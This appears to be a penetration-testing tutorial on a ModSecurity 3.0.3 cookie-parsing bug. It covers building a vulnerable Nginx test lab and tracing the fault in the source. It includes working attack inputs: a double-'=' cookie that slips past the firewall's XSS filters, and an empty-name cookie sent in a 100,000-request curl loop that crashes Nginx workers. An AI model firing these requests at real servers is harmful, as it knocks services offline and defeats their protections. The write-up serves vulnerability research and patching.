DoS attacks on ModSecurity: Exploiting critical bug in popular WAF

A critical vulnerability resulting in a denial-of-service error has been recently discovered in ModSecurity, a popular web application firewall (WAF) for Apache, IIS, and Nginx. The bug is truly severe: not only does the library stop working, but applications using it as well. Let’s see what was the mistake of the ModSecurity developers and how we, ethical hackers, can exploit this vulnerability in our penetration tests.

ModSecurity uses its own event-based script language. This language ensures protection against numerous attack types targeting web applications and allows to monitor the HTTP traffic, create logs, and analyze requests in real time. Overall, ModSecurity is a very flexible tool that searches for potentially unsafe data and reacts accordingly.

Ervin Hegedüs and Andrea Menin, developers of OWASP Core Rule Set, have discovered the bug while researching the cookie string parser implemented in ModSecurity (to be specific, the parsing mechanism for cookie headers).

The vulnerability allows the attacker to send a specially crafted request that terminates the parent process. If the volume of such requests is large enough, the web server may become slow or unresponsive (denial of service).

Test system

First, it is necessary to set up the test environment. There are two possible variants.

If you don’t want to spend time on researching and debugging the source code, you may simply run a docker container with a vulnerable ModSecurity version and test the exploit.

docker run --rm -p 80:80 -ti --rm owasp/modsecurity:3.0.3-nginx

The alternative variant is to compile everything from the source code with debug symbols.

First, I run a container with Debian and install all required packages.

docker run --rm -ti --cap-add=SYS_PTRACE --security-opt seccomp=unconfined --name=nginxdos --hostname=nginxdos -p80:80 debian /bin/bash
apt update && apt install nano wget git procps gdb automake bison build-essential g++ gcc libbison-dev libcurl4-openssl-dev libfl-dev libgeoip-dev liblmdb-dev libpcre3-dev libtool libxml2-dev libyajl-dev make pkg-config zlib1g-dev

Next, I download the latest vulnerable version (3.0.3) of the ModSecurity library.

cd /root
git clone --depth 1 -b v3.0.3 --single-branch https://github.com/SpiderLabs/ModSecurity

Then I load all required modules.

cd ModSecurity/
git submodule init
git submodule update

And finally, I compile and install the library.

./build.sh && ./configure && make && make install

Now it is time to clone the Nginx Connector…

cd /root && git clone --depth 1 https://github.com/SpiderLabs/ModSecurity-nginx.git

…and, of course, the web server itself.

wget -q https://nginx.org/download/nginx-1.16.1.tar.gz
tar -zxf nginx-1.16.1.tar.gz
cd nginx-1.16.1

I configure the Nginx server to use the ModSecurity library.

./configure --add-module=/root/ModSecurity-nginx

Then I compile and install everything.

make && make install

To make the testing more illustrative, I also install and run PHP-FPM.

apt install -y php-fpm
service php7.3-fpm start

By default, Nginx is installed in the directory /usr/local/nginx/. I go there to tweak the configs as required for the testing purposes. First, I enable the PHP support. On my system, PHP-FPM works through a socket; so I have to specify the path to it in the server section of the file nginx.conf.

location ~ \.php$ {
    root           html;
    fastcgi_pass   unix:/run/php/php7.3-fpm.sock;
    fastcgi_index  index.php;
    fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
    include        fastcgi_params;
}

To configure ModSecurity, I add the respective directive to above-mentioned nginx.conf, but this time, to the http section.

modsecurity on;

There will be several configuration files; so, I create a general file, modsec_includes.conf, and add the list of required configs to it. To load this file, I use modsecurity_rules_file.

modsecurity_rules_file /usr/local/nginx/conf/modsec_includes.conf;

Then I copy the default config (modsecurity.conf-recommended) from the ModSecurity distribution…

cp /root/ModSecurity/modsecurity.conf-recommended /usr/local/nginx/conf/modsecurity.conf
cp /root/ModSecurity/unicode.mapping /usr/local/nginx/conf/

…and switch the library from the passive mode to blocking mode.

sed 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' -i modsecurity.conf

Time to deal with the filters. I recommend using the OWASP Core Rule Set. For my testing purposes, just a few files are required. First, I load the main config.

mkdir /usr/local/nginx/conf/modsec && cd $_
wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/crs-setup.conf.example -O crs-setup.conf

Then I load the file with rules that prevent XSS attacks.

mkdir /usr/local/nginx/conf/modsec/rules && cd $_
wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf

And finally, I load two supplementary configs: the first one initializes the rules, while the second one evaluates requests on the basis of a scoring system and, if necessary, blocks them.

wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/rules/REQUEST-901-INITIALIZATION.conf
wget https://raw.githubusercontent.com/SpiderLabs/owasp-modsecurity-crs/v3.3/dev/rules/REQUEST-949-BLOCKING-EVALUATION.conf

All these rules must be applied in the test Nginx configuration. For that purpose, I has earlier created the file /usr/local/nginx/conf/modsec_includes.conf.

include modsecurity.conf
include modsec/crs-setup.conf
include modsec/rules/REQUEST-901-INITIALIZATION.conf
include modsec/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf
include modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf

Note the load sequence – it is important!

The test system is ready; let’s see whether it operates properly. First, I launch the web server.

/usr/local/nginx/sbin/nginx -g "daemon off;master_process off;error_log /dev/stdout debug;"

I added a few parameters to disable the launch of Nginx as a daemon and display the logs in the console. Now, if I send a potentially malicious request to the server http://nginxdos.vh/?xss=<script>alert()</script>, ModSecurity should block it and return the 403 (Forbidden) error message.

So, the system is up and running. Time to research the vulnerability.

Details

I start from examining the patch that fixes this bug. The changes affect the file transaction.cc in the cookie parsing section. I start a web server debugging session and set a breakpoint at string 558 to trace the cookie processing.

gdb --arg /usr/local/nginx/sbin/nginx -g "daemon off;master_process off;error_log /dev/stdout debug;"
b transaction.cc:558
r

Then I send a request with cookies and immediately get to my breakpoint.

curl -v -H "Cookie: hello=world" nginxdos.vh

As you are likely aware, in the HTTP protocol, a cookie string is a sequence of name=value pairs separated by the ; symbol. Therefore, the entire string is initially divided into sections where ; acts as the divider. The result is recorded into a vector (std::vector).

modsec/v3.0.3/src/transaction.cc

557: if (keyl == "cookie") {
558:     size_t localOffset = m_variableOffset;
559:     std::vector cookies = utils::string::ssplit(value, ';');

In C++, a vector is a sequence container that encapsulates dynamic-size arrays. Similar to arrays, vectors use contiguous storage locations for their elements. But unlike arrays, their size can change dynamically, while their storage is handled automatically by the container (i.e. without using the new и delete operators). All elements of a vector must belong to the same type. In addition to the direct access functions, elements of a vector can be accessed through iterators. This is exactly what occurs hereinafter in the code.

modsec/v3.0.3/src/transaction.cc

560: for (const std::string &c : cookies) {

Because I has transmitted only one cookie, there is only one element, which is subsequently divided by the = character. This is how the program gets the cookie name and value.

561: std::vector s = utils::string::split(c,
562:    '=');

Then the program checks the length of the resultant vector: if it’s longer than one, the code execution continues.

modsec/v3.0.3/src/transaction.cc

563: if (s.size() > 1) {

Everything goes well so far. According to Section 5.2 of RFC 6265 specification, if a name-value-pair string lacks a %x3D (“=”) character, then the set-cookie-string must be ignored entirely (Paragraph 2).

This is exactly what happens. Paragraph 4 (all spaces to be removed from the name string and the value string) is implemented partially: in this particular case, there is only one space before the name.

modsec/v3.0.3/src/transaction.cc

564: if (s[0].at(0) == ' ') {
565:     s[0].erase(0, 1);
566: }

However, a problem arises when it comes to the third paragraph.

The string portion before the first = character constitutes the cookie name, while the portion after the first = character constitutes the cookie value. In other words, the header hello=cruel=world is supposed to be converted into a cookie whose name is hello and whose value is cruel=world. However, in ModSecurity 3.0.3, the value of the hello cookie will be just cruel. This happens because of the following piece of code.

modsec/v3.0.3/src/transaction.c

567: m_variableRequestCookiesNames.set(s[0],
568:     s[0], localOffset);
569:
570: localOffset = localOffset + s[0].size() + 1;
571: m_variableRequestCookies.set(s[0], s[1], localOffset);

Only the second element of the array is taken as the value; while in the above example, there are three such elements: hello, cruel, and world.

What are the potential implications of this bug? If you use rules that filter various attacks involving cookies (e.g. XSS attacks or SQL injections), malefactors can bypass such filters using the trick with two = characters.

For demonstration purposes, I write a simple script vulnerable to XSS.

index.php

If XSS is sent directly in the cookie, the protection would block it; however, if I use the second = character, then the XSS would be triggered.

curl -H "Cookie: user=safe=" nginxdos.vh/index.php

The protection mechanism simply cannot filter out what it failed to read correctly.

No doubt, bypassing WAF filters is great, but let’s see what else can be done. Going back to RFC 6265, Section 5.2, Paragraph 5.

So, if the cookie name is empty, such a cookie should be ignored entirely. But ModSecurity 3.0.3 does not include this piece of logic. Keeping this in mind, let’s reexamine the above-mentioned fragment of the code.

modsec/v3.0.3/src/transaction.cc

564: if (s[0].at(0) == ' ') {
565:     s[0].erase(0, 1);
566: }

The program checks what character is at the 0 position in the cookie name. So, what happens if a cookie with an empty name is transmitted?

curl -H "Cookie: =notsafe" nginxdos.vh/index.php

The program tries to read the value from an empty range, which causes an out_of_range exception.

The program stops working, and the Nginx worker process stops with it. In other words, if the attacker continuously sends requests with malicious cookies, the server may become slow or unresponsive (i.e. it may stop processing requests sent by legitimate users). To demonstrate this, I use a simple PoC.

curl -s -H "Cookie: =notsafe" "nginxdos.vh/index.php?[0-99999]"

Conclusions

The vulnerability described in this article clearly demonstrates how risky is to diverge from specifications. Even a seemingly insignificant flaw may affect the application stability and compromise the security of its users.

After notifying the developers of this vulnerability, researcher Ervin Hegedüs submitted two pull requests with updates patching the hole (2023, 2201). As a result, the ModSecurity developers have revised the entire cookie parsing logic and brought it in compliance with RFC 6265 specification.

And just in case: if you still use ModSecurity 3.0.0-3.0.3, update it to version 3.0.4 ASAP.